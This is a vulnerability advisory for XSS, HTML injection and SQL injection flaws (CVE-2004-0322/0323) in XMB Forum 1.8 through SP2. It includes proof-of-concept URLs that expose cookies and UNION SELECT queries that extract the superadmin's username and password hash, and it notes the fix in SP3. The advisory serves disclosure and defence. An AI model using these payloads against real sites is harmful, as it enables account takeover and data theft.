XMB Forum Multiple Input Validation Vulnerabilities

BID:9726

Info

XMB Forum Multiple Input Validation Vulnerabilities

Bugtraq ID: 9726
Class: Input Validation Error
CVE: CVE-2004-0322
CVE-2004-0323
Remote: Yes
Local: No
Published: Feb 23 2004 12:00AM
Updated: Jul 12 2009 03:06AM
Credit: Discovery of these vulnerabilities has been credited to Janek Vind <[email protected]>.
Vulnerable: XMB Forum 1.8 SP2
XMB Forum 1.8 SP1
XMB Forum 1.8
Not Vulnerable: XMB Forum 1.8 SP3

Discussion

XMB Forum Multiple Input Validation Vulnerabilities

XMB Forum has been reported prone to multiple cross-site scripting, HTML injection and SQL injection vulnerabilities. The issues present themselves due to insufficient sanitization of remote user supplied data. An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user or to have malicious SQL queries executed in the underlying database.

Exploit / POC

XMB Forum Multiple Input Validation Vulnerabilities

The following proof of concept has been supplied:

Cross-Site Scripting:
http://www.example.com/xmb18sp2/forumdisplay.php?fid=1&amp;foobar=&lt;%73cript&gt;
http://www.example.com/xmb18sp2/member.php?action=viewpro&amp;member=x&lt;%73cript&gt;alert(document.cookie);&lt;/%73cript&gt;
http://www.example.com/xmb18sp2/u2uadmin.php?uid=x"&gt;&lt;%73cript&gt;alert(document.cookie);&lt;/%73cript&gt;
http://www.example.com/xmb18sp2/editprofile.php?user=x"&gt;&lt;%73cript&gt;alert(document.cookie);&lt;/%73cript&gt;

HTML Injection:
text1 [align=center onmouseover=alert(document.cookie);] text2 [/align]
text1 [img=1x1]javascript:alert(document.cookie);//gif[/img] text2

SQL Injection:
http://www.example.com/xmb18sp2/viewthread.php?tid=1&amp;ppp=x
http://www.example.com/xmb18sp2/misc.php?action=list&amp;order=postnum&amp;desc=x
http://www.example.com/xmb18sp2/forumdisplay.php?fid=1&amp;tpp=x
http://www.example.com/xmb18sp2/forumdisplay.php?fid=1&amp;ascdesc=x
http://www.example.com/xmb18sp2/stats.php?action=view&amp;addon=x

Getting username for superadmin:
http://www.example.com/xmb18sp2/stats.php?action=view&amp;addon=WHERE t.tid&lt;0 UNION ALL SELECT NULL,NULL,username FROM xmb_members WHERE uid=1 LIMIT 1/*

Getting password's md5 hash for superadmin:
http://www.example.com/xmb18sp2/stats.php?action=view&amp;addon=WHERE t.tid&lt;0 UNION ALL SELECT NULL,NULL,password FROM xmb_members WHERE uid=1 LIMIT 1/*

Solution / Fix

XMB Forum Multiple Input Validation Vulnerabilities

Solution:
The vendor has released XMB 1.8 SP3 to address these issues.


XMB Forum 1.8

XMB Forum 1.8 SP2

XMB Forum 1.8 SP1

References

XMB Forum Multiple Input Validation Vulnerabilities

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report